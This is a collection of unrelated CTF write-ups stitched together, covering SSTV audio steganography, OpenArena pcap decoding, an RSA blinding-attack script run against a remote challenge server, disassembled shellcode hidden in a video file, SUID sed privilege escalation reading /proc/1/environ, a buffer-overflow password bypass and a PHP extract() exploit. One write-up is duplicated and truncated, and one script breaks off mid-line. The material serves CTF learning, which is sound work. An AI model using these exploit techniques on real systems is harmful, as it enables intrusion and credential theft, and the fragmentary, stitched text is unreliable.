# WPICTF 2019 `*stallman intensifies* [stg 100]` writeup ## 問題![Challenge](Challenge.PNG) ## 解答リンク[[1.]](https://drive.google.com/file/d/1VrNgsfcD224vcUdpUAnUSyWvoL8nZ9zF/view?usp=sharing)[[2.]](https://www.dropbox.com/s/xhab7zms5n35867/stallman-intensifies.zip?dl=0)からダウンロードできるzipファイルを解凍すると,中身は5枚のJPEG画像とpass付の7zファイル. 7zファイルが解凍できればflag GETだろうと予想して,5枚のJPEG画像を調べる. [青空白猫](https://digitaltravesia.jp/usamimihurricane/webhelp/_RESOURCE/MenuItem/another/anotherAoZoraSiroNeko.html)でJPEG画像を調べると,うち2枚の画像にsteghideの可能性があるらしい. 教えに従って`exiftool`,`file`,`exiftool`,`steghide`,`strings`コマンドを一通り試していく. ![Imgur](https://i.imgur.com/JR0GFRe.jpg)`babby.jpg` 上の画像の一番最後に`WPI+GNUCSC`といういかにもな文字列が出力されていて,これが7zファイルのパスワードだった. 解凍するとmp4ファイルが出てくるので,とりあえず視聴するもよくわからない. *終わりじゃなかった......困った......*![stallman](https://upload.wikimedia.org/wikipedia/commons/f/f3/Richard_Stallman_by_Anders_Brenna_01.jpg) 改めてちゃんと聞こうと思ってヘッドホンをつけると音がほとんど右側からしか聞こえず,左からは「ガピガピガピー」とノイズのようなものが聞こえる.おかしい.とてもおかしい. ......が,音声のSteganography問題をやったことがなかったためこの違和感はいつのまにか忘れて(というか対処できずに),フレームの切り出しなどに終始してお手上げ.(緑一色のフレームなどそれっぽいものもあってなかなか諦めきれなかった) その後,"**sstv signal**"なるものが使われているというチャットを公式discordで見かける.調べてみると,sstvという狭帯域での画像送信方法らしく,過去のCTF問題にもいくつかあったっぽい. それらのWriteupによると,[Qsstv](https://charlesreid1.com/wiki/Qsstv)というツールを使えばsstv signalの画像化ができるらしいので,[Audacity](https://www.audacityteam.org/)で左側の音声を分離してからQsstvを通してみる. ガピガピガピーと画像が生成されていく様子は音も相まって個人的になかなか怖かったが,音が一番激しくなったタイミングでflag画像が無事出力された. <details><summary>flag画像</summary><div> ![flag](Answer.png)WPI{im_a_h@m_0per@10r_now_!_73} (たぶん?) </div></details> ## 反省1つの方針にとらわれて時間が無くなってしまった.結局は最初に感じた違和感が一番解答に近いものだったので,感覚はやっぱり大事(サブカテゴリはMiscだったし).今回見つけたQsstvは今後も役立ちそう.右側の音声を使ってsstv signalだけをきれいに抽出する必要があるかとも思ったけどそのままいけたので,結構気楽に使えそうな印象だった. ## tool+ [汎用ファイルアナライザ "青い空を見上げればいつもそこに白い猫](https://digitaltravesia.jp/usamimihurricane/webhelp/_RESOURCE/MenuItem/another/anotherAoZoraSiroNeko.html)+ [Qsstv](https://charlesreid1.com/wiki/Qsstv)+ [Audacity](https://www.audacityteam.org/)
_We didn't manage to solve this task during the CTF. I was close enough, so I decided to finish it and share the solution._ We are given pcap traffic of some OpenArena(it is an open-source implementation of quake3 engine) game session. Youtube clip reveals that during this session player draws the flag on the wall. ## OpenArena network protocolWe can get some idea of how this protocol works by looking at the [game sources](https://github.com/OpenArena/legacy/tree/master/engine/openarena-engine-source-0.8.8).Basically it is some kind of reliable udp with adaptive huffman coding and delta compression, but we don't need to know all the specifics to solve this task.Also, I found this cool python wrapper on engine's `msg.c` code to help with huffman decompression -- [q3huff](https://github.com/jkent/q3huff).All we need to know is that all packets start with a sequence number, and contain a sequence of messages. ## SolutionMy first idea was to replay client packets against our server and watch this session. I patched server to match `challenge` and `serverId` values from this session. However, when I was replaying client packets I realized that we actually need to replay server packets in order to see what the other player was doing. I got an idea to write server packets in a demo file, but I didn't manage to do that in time. Next day, I decided to give it a try.Demo recordings file format is pretty straightforward: it is a sequence of server packets:```[packet.seq|len(packet.data)|packet.data]```The only problem is that we can't just write network packets as is, we need to decode them first(some kind of spoofing protection):```pythondef msg_decode(data, header_size, string, key): decoded = [] index = 0 for i in range(header_size, len(data)): # modify the key with the last sent and acknowledged command if string[index] == 0: index = 0 if string[index] > 127 or string[index] == ord('%'): key ^= (ord('.') << (i & 1)) & 0xFF else: key ^= (string[index] << (i & 1)) & 0xFF index += 1 # decode the data with this key decoded.append(data[i] ^ key) return data[:header_size] + bytes(decoded)```As you can see, we need to maintain the list of server and client commands in order to decode all packets. Thankfully, in this game session, all `svc_serverCommand` and `clc_clientCommand` messages are placed at the start of the packets, so we don't need to write parsers for every message type and just skip irrelevant ones.Server part(client part looks the same):```pythondef svc_parse(seq, msg): msg.oob = False # enables Huffman decompression rAck = msg.read_long() while True: cmd = msg.read_byte() if cmd != svc_serverCommand: break index = msg.read_long() & (64 - 1) s = msg.read_string() serverCommands[index] = s.encode('utf8') + b'\x00' print(f'stored svc_serverCommand "{s}" at {index}')``` Now we can decode server packets:```pythonreliableAcknowledge = msg.read_long() & (64 - 1)key = (CHALLENGE ^ seq) & 0xFFdata = msg_decode(data, 4, clientCommands[reliableAcknowledge], key)``` And client packets:```pythonserverId = msg.read_long()messageAcknowledge = msg.read_long()reliableAcknowledge = msg.read_long() & (64 - 1)key = (CHALLENGE ^ serverId ^ messageAcknowledge) & 0xFFdata = msg_decode(data, 12, serverCommands[reliableAcknowledge], key)``` That's it. We can write these packets to the demo file and play it in the game client.```pythondemo_file.write(struct.pack('<II', seq, len(data)))demo_file.write(data)```In the recording we can see that the player writes the flag on the wall: `PCTF{PEWPEWPEWWX}` Full solution code:```pythonfrom scapy.all import *from collections import defaultdictimport q3huffimport struct CHALLENGE = -1338626257 & 0xFFFFFFFF FRAGMENT_SIZE = 0x514 svc_serverCommand = 0x5clc_clientCommand = 0x4 serverCommands = defaultdict(lambda: b'\x00\x00')clientCommands = defaultdict(lambda: b'\x00\x00') def msg_decode(data, header_size, string, key): decoded = [] index = 0 for i in range(header_size, len(data)): # modify the key with the last sent and acknowledged command if string[index] == 0: index = 0 if string[index] > 127 or string[index] == ord('%'): key ^= (ord('.') << (i & 1)) & 0xFF else: key ^= (string[index] << (i & 1)) & 0xFF index += 1 # decode the data with this key decoded.append(data[i] ^ key) return data[:header_size] + bytes(decoded) def svc_parse(seq, msg): msg.oob = False # enables Huffman decompression rAck = msg.read_long() while True: cmd = msg.read_byte() if cmd != svc_serverCommand: break index = msg.read_long() & (64 - 1) s = msg.read_string() serverCommands[index] = s.encode('utf8') + b'\x00' print(f'stored svc_serverCommand "{s}" at {index}') def clc_parse(seq, msg): msg.oob = False # enables Huffman decompression serverId = msg.read_long() mAck= msg.read_long() rAck = msg.read_long() while True: cmd = msg.read_byte() if cmd != clc_clientCommand: break index = msg.read_long() & (64 - 1) s = msg.read_string() clientCommands[index] = s.encode('utf8') + b'\x00' print(f'stored clc_clientCommand "{s}" at {index}') sv_fragment_buffer = b''cl_fragment_buffer = b'' def read_fragment(msg, raw_data): frag_offset = msg.read_short() & 0xFFFF frag_size = msg.read_short() & 0xFFFF return frag_size != FRAGMENT_SIZE, raw_data[4:4+frag_size] demo_file = open('flag.dm_71', 'wb')for packet in rdpcap('graffiti.pcap'): if not (packet.haslayer(UDP) and packet[UDP].sport == packet[UDP].dport == 27961): continue is_server = str(packet[IP].src) == '192.168.151.139' packet_payload = bytes(packet[UDP].payload) msg = q3huff.Reader(packet_payload) msg.oob = True # disables Huffman decompression seq = msg.read_long() & 0xFFFFFFFF if seq == 0xFFFFFFFF: # skip connectionless packets continue if is_server: data = packet_payload[4:] if seq & (1 << 31): seq ^= (1 << 31) is_last, frag = read_fragment(msg, data) sv_fragment_buffer += frag if is_last: data = sv_fragment_buffer sv_fragment_buffer = b'' else: continue msg = q3huff.Reader(data) reliableAcknowledge = msg.read_long() & (64 - 1) key = (CHALLENGE ^ seq) & 0xFF data = msg_decode(data, 4, clientCommands[reliableAcknowledge], key) demo_file.write(struct.pack('
# VolgaCTF 2019 Qualifier "Blind" writeup ## Description BlindPull the flag...if you can. nc blind.q.2019.volgactf.ru 7070 [server.py](server.py) ## Solution server.py を見てみると、* ls* dir* cd* cat* sign のコマンドを受け付けていることが分かる。この中で `cd` と `cat` は、そのコマンドのRSA署名をコマンドの先頭につけなければ実行されないことが分かる。 この署名は `sign` コマンドで行えるが、 `cd` と `cat` に対して署名してもらおうとすると、条件分岐で弾かれてしまう。server.py の中で e, n が与えられているので、ここから d を計算できれば署名できるが、n は十分大きく素因数分解は難しい。また e も適切な大きさであることから、直接 d を求めるのは難しいと考えた。 しばらく考えた後に、相手に署名させることが出来るという事と、問題名から Blinding Attack が使えそうだと思いついた。 Blinding Attack で、署名させたい平文 m 以外の別の平文 m' に署名させ、そこから元の平文に対する署名 m^d を手に入れることが出来る。 具体的には次の手順を踏む。 1. r, nが互いに素(⇔ gcd(r, n) = 1)となるような r を ランダムに選ぶ2. m' ≡ mr^e (mod n), r^{-1} (mod n) を計算する3. s' ≡ (m')^d (mod n) を得る4. s ≡ s'r' ≡ m^d (mod n) を得る。 (s は平文mに対する署名、 s'は平文m'に対する署名) (1.)randint などで、nと互いに素になるまでrを選び直す。 (2.)`'cat flag'`をhexエンコードして10進数に直したものをmとする。`m = int('cat flag'.encode('hex'), 16)` また、`m_ = m * pow(r, e, n) % n``r_ = inv(r, n))`ただし、invは ax≡1 (mod b) となるxを返す。 (3.)`sign` コマンドで偽の平文 m' を送る前に、これをbase64でエンコードする。 (4.)返ってきた値をs'としてs'r' (mod n)を計算すると、これが元の平文(`'cat flag'`)に対する署名となっている。`s = s_ * r_ % n`この値を署名として付けることでFlagを読むことが出来る。 ```pythonfrom random import randintfrom gmpy2 import gcdfrom pwn import *from base64 import b64encode def ext_gcd(a, b): c0, c1 = a, b a0, a1 = 1, 0 b0, b1 = 0, 1 while c1 != 0: q, m = divmod(c0, c1) c0, c1 = c1, m a0, a1 = a1, (a0 - q*a1) b0, b1 = b1, (b0 - q*b1) return a0, b0, c0 def inv(a, n): s, _, _ = ext_gcd(a, n) return s%n def blinding_attack(n, e, m): r = None while True: a = randint(2, n-1) if gcd(a, n) == 1: r = a break m_ = pow(r, e, n) * m % n r_ = inv(r, n) return m_, r_ def int_to_str(x): x = hex(x)[2:] s = '' for a, b in zip(x[::2], x[1::2]): s += chr(int(a+b, 16)) return s n = 26507591511689883990023896389022361811173033984051016489514421457013639621509962613332324662222154683066173937658495362448733162728817642341239457485221865493926211958117034923747221236176204216845182311004742474549095130306550623190917480615151093941494688906907516349433681015204941620716162038586590895058816430264415335805881575305773073358135217732591500750773744464142282514963376379623449776844046465746330691788777566563856886778143019387464133144867446731438967247646981498812182658347753229511846953659235528803754112114516623201792727787856347729085966824435377279429992530935232902223909659507613583396967e = 65537 cmd_hex = int('cat flag'.encode('hex'), 16) sign = blinding_attack(n, e, cmd_hex)m_, r_ = sign bogus = b64encode(int_to_str(m_)) io = remote('blind.q.2019.volgactf.ru', '7070') # Enter your command:io.recvline()io.sendline('sign sign') # Enter your command to sign:io.recvline()io.sendline('{}'.format(bogus)) s_ = io.recvline()io.recvline()s_ = int(s_) signed_cmd = s_*r_%nio.sendline('{} cat flag'.format(signed_cmd)) io.interactive()``` Flag: `VolgaCTF{Bl1nd_y0ur_tru3_int3nti0n5}`
We were given video file bbb.ogg where were hexadecimal numbers burned into first minute of the video. After last number there were also md5 checksum which clearly indicated you must use numbers together. Each number was displayed every second and lasts there half of it(15fms). I decided to convert video to individual frames so I used ` ffmpeg -i bbb.ogg -vf fps=1 frm%04d.jpg` What grabs each 30th frame (video had 30fps) Unfortunately it gaved me error during conversion so I've used other tool to finish that. Once I had those images I manualy rewrite numbers to computer. It was 60 hex bytes in total. When I disassembled this code I get this: ``` xor rsi,rsipush rsimov rdi,0x67676f2e626262 #bbb.oggpush rdimov rdi,rspmov al,0x2syscallmov r8,raxxor rdi,rdimov edx,0x5mov esi,0x74656579 #yeetxor r9,r9mov r10b,0x2mov al,0x9syscallloop:inc raxmov ebx,DWORD [rax+0x2]cmp ebx,esijne loopcall rax ``` To be able to continue I compiled above code to binary. It was clear it uses source video again. So I run proggie again with bbb.ogg file in same directory and then I got this prompt `Please enter the 16 byte password (not the flag u dummy)` After further examination I've found it reads the file, looks for string "yeet" and then jumps to another part of program hidden inside this video. Unfortunately program itselfs doesn't check password correctness so it won't be that easy to find it right away. I need to see what second part does so I've diassembled it ```jmp short loc_7FC4D1E9F77E; ---------------------------------------------------------------------------db 79h ; ydb 65h ; edb 65h ; edb 74h ; t; --------------------------------------------------------------------------- loc_7FC4D1E9F77E: ; CODE XREF: bbb.ogg:00007FC4D1E9F778↑jlea rax, unk_7FC4D1E9F8C5**mov rdi, 796C6C6962706972h #ripbilly**dec rax loc_7FC4D1E9F792: ; CODE XREF: bbb.ogg:00007FC4D1E9F79B↓jinc raxmov rbx, [rax]cmp rbx, rdijnz short loc_7FC4D1E9F792add rax, 8push raxmov eax, 1mov edi, 0lea rsi, aPleaseEnterThe ; "Please enter the 16 byte password (not "...mov edx, 38hsyscall ; LINUX - sys_writesub rsp, 10hmov eax, 0mov edi, 1mov rsi, rspmov edx, 10hsyscall ; LINUX - sys_readmov rbp, rspsub rsp, 8mov eax, 16hmov rdi, rspsyscall ; LINUX - sys_pipemov eax, 39hsyscall ; LINUX - sys_forktest rax, raxjnz short loc_7FC4D1E9F846mov eax, 21hmov edi, 0mov edi, [rsp]mov esi, 0syscall ; LINUX - sys_dup2mov rdi, 'b/=LLEHS'mov rax, rsp loc_7FC4D1E9F810: ; CODE XREF: bbb.ogg:00007FC4D1E9F819↓jinc raxmov rbx, [rax]cmp rbx, rdijnz short loc_7FC4D1E9F810mov rdx, rsp loc_7FC4D1E9F81E: ; CODE XREF: bbb.ogg:00007FC4D1E9F827↓jinc rdxmov rbx, [rdx]cmp rbx, raxjnz short loc_7FC4D1E9F81Emov eax, 3Bh****push rdxlea rdi, aPleaseEnterThe+38h ; "/usr/bin/mpv"push 0lea rsi, unk_7FC4D1E9F8C3push rsipush rdimov rsi, rspsyscall ; LINUX - sys_execve loc_7FC4D1E9F846: ; CODE XREF: bbb.ogg:00007FC4D1E9F7ED↑jmov edi, 0mov edi, [rsp+4]add rsp, 8pop r15pop r14mov r12, [rsp]mov rsi, rspmov rsi, [rsp]xchg rsp, rsi loc_7FC4D1E9F865: ; CODE XREF: bbb.ogg:00007FC4D1E9F87C↓jpop r13xor r13, r15mov [rsi], r13xchg r15, r14mov edx, 8mov eax, 1syscall ; LINUX - sys_writejmp short loc_7FC4D1E9F865``` Two things attracted my attention. mov rdi, 796C6C6962706972h #ripbilly and "/usr/bin/mpv" Because word "ripbilly" isnt 16 bytes long it can not be right password. I searched it in file and found it here ```00007FC4D23A4760 27 0D 79 1D 33 CE A5 C2 C1 5C 24 44 72 69 70 62 '.y.3Υ ..\$Dripb <--- ripbilly00007FC4D23A4770 69 6C 6C 79 6A 24 BB C7 68 6E 67 62 72 65 61 74 illyj$...ngbreat 00007FC4D23A4780 31 FE EE 73 32 96 E5 65 2B 9C E6 66 30 96 E0 63 1...............00007FC4D23A4790 31 FA EB 05 15 03 09 26 EE EF 63 20 F7 E4 63 73 1......&... ....00007FC4D23A47A0 20 F8 08 73 70 61 64 64 4D F1 B6 73 3F FE 15 2B ..spaddM......+00007FC4D23A47B0 4F 35 D4 F9 23 CA E0 71 20 C7 01 31 DE E4 84 26 O5..#..q ..1...&00007FC4D23A47C0 C8 F4 3C D9 F4 77 30 CA 02 3D CB E0 73 46 2C D0 ..<..w0..=..sF,.00007FC4D23A47D0 FF 2B C4 F6 62 35 A7 03 3A C2 E5 63 AB 28 DA E6 .+..b5..:..c.(..00007FC4D23A47E0 20 D3 EB 6E 23 DA 0F 37 C5 ED 43 FC B6 89 60 6B ..n#..7..C...`k00007FC4D23A47F0 73 78 6F 72 70 FB 64 64 69 6E 67 62 72 65 61 6B sxorp.ddingbreak00007FC4D23A4800 73 78 6F 72 70 61 64 64 69 6E 67 62 72 65 61 6B sxorpaddingbreak``` Instantly I saw another interesting string **sxorpaddingbreak **. As it's name says it is xor string used for encryption and because it has 16bytes it was used also as our password It must be spelled like paddingbreaksxor Next I googled for mpv which appeared to be Open source media player[ https://mpv.io/] so I've installed it. On next run another video was played which includes our flag inside of it. **The flag is WPI{Shoutout2Simpleflips}** I must say I enjoyed this challenge very much!
# Sight at Last This is a programming challenge. We're given a server that'll give us some base64 image of a bunch of black circles. We need to find the minimum distance between the centers of these circles. What's more, we need to do this 100 of these in 500 seconds. This is a quick and dirty script I wrote to handle this: ```python#!/usr/bin/env python3 import base64import cv2import imutilsimport mathimport socket def findCenters(image): pairs = [] img = cv2.imread(image) img = cv2.copyMakeBorder(img, 10, 10, 10, 10, cv2.BORDER_CONSTANT, value=[255, 255, 255]) grey = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) notted = cv2.bitwise_not(grey) blurry = cv2.GaussianBlur(notted, (5, 5), 0) thresh = cv2.threshold(blurry, 60, 255, cv2.THRESH_BINARY)[1] contours = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) contours = imutils.grab_contours(contours) for contour in contours: moment = cv2.moments(contour) centreX = float(moment["m10"] / moment["m00"]) centreY = float(moment["m01"] / moment["m00"]) pairs.append((centreX, centreY)) return pairs def calculateMinDistance(pairs): minimum = 1000000000 for a in pairs: for b in pairs: c = ( math.sqrt( ( (a[0] - b[0]) ** 2 ) + ( (a[1] - b[1]) ** 2 ) ) ) if 0 < c < minimum: minimum = c return minimum def get(s): data = b"" while True: chunk = s.recv(128) print(chunk.decode("utf-8"), end="") data += chunk if ">" in chunk.decode("utf-8"): break return data def makeImage(data): base64d = data.split(":\n")[1].split("\n>")[0] with open("image.jpg", "wb+") as f: f.write(base64.b64decode(base64d)) def main(): passed = 0 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect(("p1.tjctf.org", 8005)) while True: data = get(s).decode("utf-8") makeImage(data) centers = findCenters("image.jpg") minDist = calculateMinDistance(centers) print(minDist) print("Passed: %s\n" % passed) s.send(("%s\n" % minDist).encode()) passed += 1 if __name__ == "__main__": main()``` ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-TJ/images/sight-at-last.png) ```tjctf{15_th1s_c0mput3r_v1si0n?}```
# SolutionWe need to solve Tony Stank challenge first (this was sort of a hint) tony is part of the root group **$ id** `uid=1001(tony) gid=0(root) groups=0(root)` Let's search for interesting binaries (SUID / GUID set) **$ find / -perm -u=s -user root -type f 2> /dev/null** ```/bin/sed/bin/mount/bin/umount/bin/su/usr/bin/gpasswd/usr/bin/passwd/usr/bin/newgrp/usr/bin/chsh/usr/bin/chfn/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/lib/openssh/ssh-keysign``` All of them except **sed** are standard SUID binaries so we can execute sed because we are in the root group, but sed will execute with root privileges From the description about, the keyword is environment (i.e. environment variable), therefore we can try reading root's environment variables **$ ll /proc** ```dr-xr-xr-x 1036 root root 0 Mar 30 04:26 ./drwxr-xr-x 1 root root 4096 Mar 30 04:26 ../dr-xr-xr-x 9 root root 0 Mar 30 04:26 1/dr-xr-xr-x 9 root root 0 Mar 30 04:26 14/dr-xr-xr-x 9 root steve 0 Mar 30 04:26 16/dr-xr-xr-x 9 steve steve 0 Mar 30 04:26 18/dr-xr-xr-x 9 tony root 0 Mar 30 04:51 181/dr-xr-xr-x 9 steve steve 0 Mar 30 04:30 64/``` We need to choose a pid that belongs to the group root so we can try and read **/proc/1/environ** with sed **$ LFILE=/proc/1/environ; sed -e LFILE** ```PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=093f71aa8e91TERM=xtermflag=b00t2root{1_44aaaaaammmm_gr0000000ooooooOOO7777}HOME=/roottony@093f71aa8e91:~``` This give us the flag: **b00t2root{1_44aaaaaammmm_gr0000000ooooooOOO7777}**
Project Eulernt (40 solves)--- We have to find a number that is a divisor of 333! as well as close to its square root. Our solution takes advantage of the integer series making up the factorial of 333. Each of these integers is trivially a divisor of 333!. First we build larger factorials towards 333! until we find the one that is closest to the square root of N (sN). This turns out to be 188!. 188! is smaller than sN but not within an acceptable error margin for the solution, so we add multiples of 187! while the error reduces, until the error increases. We then subtract multiples of 186!, further reducing the error, until it increases... etc. Very soon we hit a number that is within the relative error margin that is also a divisor of N. The solution works by getting closer and closer approximations to the correct answer, reducing the step each time. In the worst case, it would wind all the way down to step of 1, and search every number until hitting a divisor.
We were presented with a PCAP file and a video with some Openarena (Quake 3 clone) footage. The flag was written on the wall with the lightning gun. We tried several things: * Replaying the packets with tcpreplay. For this we patched openarena to use the same challenge every time. But this didn't lead to much. Probably because the timing of the recording was not accurate enough, due to being recorded in a VM. We didn't get anything useful, besides a "connecting" message from the client. The client timed out after some time.* One packet had a "Quake3Arena" string, we couldn't reproduce this with Openarena and our own recordings, so we though that maybe Debian had changed something: ```0000 00 0c 29 a4 60 cc 00 0c 29 8f 0f 2d 08 00 45 00 ..).`...)..-..E.0010 00 43 a7 9a 40 00 40 11 e2 a6 c0 a8 97 8c c0 a8 .C..@[email protected] 97 8b 6d 39 6d 39 00 2f af 33 ff ff ff ff 67 65 ..m9m9./.3....ge0030 74 63 68 61 6c 6c 65 6e 67 65 20 2d 39 35 34 35 tchallenge -95450040 34 35 33 34 33 20 51 75 61 6b 65 33 41 72 65 6e 45343 Quake3Aren0050 61 a``` But we couldn't find anything in the Debian packet changelog that would hint at a changed connection sequence, also tests showed that Debian and Openarena official versions were compatible. We then found [q3tools](https://github.com/0xa/q3tools), with included a packet dump. But we couldn't open the pcap file with it, we thought that maybe Openarena (or ioquake) had changed the protocol too much for it to be decodable. The next day, we tried again with q3dump and tried possible challenges with client and server IP, one had success: `./q3dump.py -v --pass-exc --hs '192.168.151.140,192.168.151.139,-1338626257' /tmp/gra5.pcap` We had already filtered the PCAP to only include server and client traffic, no IPv6 and query stuff. After running this, we got a promising [output](https://pastebin.com/32sBEiFW).A SPacket looked like this: ```SPacket: #00000299: [00000002] - Op: NcSvSnapshot - server_time: 41650 - last_frame: 1 - flags: 4 - area_mask: b'\xfe' - player_state: NcPlayerState - fields: {'commandTime': 41570, 'viewangles[1]': -7.1246337890625, 'viewangles[0]': 16.9354248046875} - player_stats: {} - pers_stats: {} - ammo: {} - powerups: {} - entities: NcPlayerState``` And a client packet like this: ```CPacket: #00000248: [00000003] - Move: NcUserCmd(time=42628, values={'weapon': 262, 'angles[0]': 2182, 'angles[1]': 23965, 'buttons': 2048, 'forwardmove': 383, 'rightmove': 385, 'upmove': 0}) - Move: NcUserCmd(time=42649, values={'weapon': 262, 'angles[0]': 2182, 'angles[1]': 23965, 'buttons': 2048, 'forwardmove': 383, 'rightmove': 385, 'upmove': 0})``` We focused on the client packets, as they had two fields for angles. After extracting all angles and plotting them, we get [this](https://i.imgur.com/gsV2wRe.png) picture. We scaled the values to avoid the big jumps you can see in the picture. After plotting again, we can already see some curly brackets and "PCTF" so we were definitly on the right track. We plotted a picture for ~1000 angles and got the flag this way: ![PEW](https://i.imgur.com/pBmTsHa.png) We made a [video](https://i.imgur.com/oXpncNu.gifv) afterwards. The final flag was `PCTF{PEWPEWPEWWX}`. A very nice challenge.
Source pt1--------------```Challenge:ssh [email protected] -p 31337 (or 31338 or 31339). Password is sourcelocker Here is your babybuff.``` Never had any experience with pwn without having a binary file (Also my first successful pwn challenge), however, I figured it worked out the same way as most binary exploitation did.When we write a couple of passwords to the file, it always seem to show "Pass auth failed.", and close out of the shell.![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/Screenshot%20at%202019-04-16%2015-05-45.png) However, when we type spam more characters, such as:```AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA``` The only output seems to be "Connection to source.wpictf.xyz closed." So that seemed suspicious because we want a ``` Pasword auth failed ```, which felt like an overflow error.So I decided to brute-force my way in by determining the right amount of ```A```'s I should be writing until I make my way in, which were 111 A's, or ```AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA``` Which outputs```#define _GNU_SOURCE#include <stdio.h>#include <unistd.h> #include <stdlib.h>#include <string.h> //compiled with gcc source.c -o source -fno-stack-protector -no-pie//gcc (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0 //flag for source1 is WPI{Typos_are_GrEaT!}int getpw(void){ int res = 0; char pw[100]; fgets(pw, 0x100, stdin); *strchrnul(pw, '\n') = 0; if(!strcmp(pw, getenv("SOURCE1_PW"))) res = 1; return res;} char *lesscmd[] = {"less", "source.c", 0};int main(void){ setenv("LESSSECURE", "1", 1); printf("Enter the password to get access to https://www.imdb.com/title/tt0945513/\n"); if(!getpw()){ printf("Pasword auth failed\nexiting\n"); return 1; } execvp(lesscmd[0], lesscmd); return 0}```Thus, our flag is ``` WPI{Typos_are_GrEaT!} ``` ------------- Strings-------------```Challenge:A handy tool for your RE efforts! made by AWG File from https://drive.google.com/open?id=1Hr30UBpwKEbt5UF4w2GzfXnVDXoCRVIs``` When executing the program, it worked the same way as the ```strings``` command would do. But what if we strings the file? So I tried to take a look at the file's functions.![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/Screenshot%20at%202019-04-16%2015-23-47.png) Ooh!, so our flag is ```WPI{What_do_you_mean_I_SEE_AHH_SKI}``` ------------- Jocipher-------------```Challenge:Decrypt PIY{zsxh-sqrvufwh-nfgl} to get the flag! made by Samantha Comeau https://drive.google.com/open?id=1MKcNvHuFCo8vsHZgKOOT0vWddfIzRFk1``` After getting the required file, we were supposed to decrypt ```PIY{zsxh-sqrvufwh-nfgl}``` to supposedly get out flag. I wrote a small bash script to retrieve the flag. ```# !/bin/bash for i in {1..100}do ./jocipher.pyc --string "PIY{zsxh-sqrvufwh-nfgl}" --shift $i --decode | grep WPIdone``` ``` ./jocipher.pyc --string "PIY{zsxh-sqrvufwh-nfgl}" --shift 48 --decode``` Where our reasonable output is ```WPI{xkcd-keyboard-mash}``` ------------ Webinspect------------```Challenge:Something is lurking at https://www.wpictf.xyz``` They redirect you to the site. where if you open up the source code, you'll find![](https://github.com/Immobility/CTF/blob/master/wpiCTF/photos/7e0251fa47ee79d28850a4a150bf3bbf.png?raw=true) ``` WPI{Inspect0r_Gadget} ``` ------------ Getaflag------------```Challenge:Come on down and get your flag, all you have to do is enter the correct password ... http://getaflag.wpictf.xyz:31337/ (or 31338 or 31339) made by godeva``` The site starts with ![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/Screenshot%20at%202019-04-16%2023-10-39.png) I started with some simple SQL injections such as ``` ' OR 1=1-- ``` or ``` ' OR 1=1# ```, but I didn't get anything out of that. However, after I inspected the source code, on the comments, it showed ``` SGV5IEdvdXRoYW0sIGRvbid0IGZvcmdldCB0byBibG9jayAvYXV0aC5waHAgYWZ0ZXIgeW91IHVwbG9hZCB0aGlzIGNoYWxsZW5nZSA7KQ== ```, which in base64, translates to``` Hey Goutham, don't forget to block /auth.php after you upload this challenge ;) ```, aha! so when I went to http://getaflag.wpictf.xyz:31337/auth.php it gave me this psudocode``` // Pseudocode $passcode = '???'; $flag = '????' extract($_GET); if (($input is detected)) { if ($input === get_contents($passcode)) { return $flag } else { echo "Invalid ... Please try again!" } }``` Because I didn't know to much about PHP, but after reading some functions, I [stumbled](https://stackoverflow.com/questions/829407/what-is-so-wrong-with-extract) on how the extract function is very vulnerable due to how it can replace an element in an array. So after experimenting and having a small knowledge of address object exploits, I came up to an idea since ```$input === get_contents($passcode)```, and the address bar shows the query, I changed input to a null value and also wrote a passcode = null, resulting in ```http://getaflag.wpictf.xyz:31337/?input=&passcode=null```. and our result should have given us ![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/Screenshot%20at%202019-04-16%2023-31-16.png) However, you get rick roll'd after seeing clicking on the link, so when I inspected the source code again, it gave me the flag! ```WPI{1_l0v3_PHP}``` ------------Chirp------------```Challenge:made by Justo and siege file from https://drive.google.com/open?id=1lcdC9qVBKtSfxOPWLbWd8kAYnPEoSZQb``` For this challenge, you had to look at a photo of this bird ![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/chal.jpg) At first, I thought it was steganography, but I later realized that recon was not supposed to be a steg challenge. So after connecting the title of the challenge and the picture of the bird, I found that the image is depicting an image of Twitter. I went to the sponsor's Twitter page and got the flag. ``` WPI{sp0nsored_by_si3ge} ``` ------------
Source pt1--------------```Challenge:ssh [email protected] -p 31337 (or 31338 or 31339). Password is sourcelocker Here is your babybuff.``` Never had any experience with pwn without having a binary file (Also my first successful pwn challenge), however, I figured it worked out the same way as most binary exploitation did.When we write a couple of passwords to the file, it always seem to show "Pass auth failed.", and close out of the shell.![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/Screenshot%20at%202019-04-16%2015-05-45.png) However, when we type spam more characters, such as:```AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA``` The only output seems to be "Connection to source.wpictf.xyz closed." So that seemed suspicious because we want a ``` Pasword auth failed ```, which felt like an overflow error.So I decided to brute-force my way in by determining the right amount of ```A```'s I should be writing until I make my way in, which were 111 A's, or 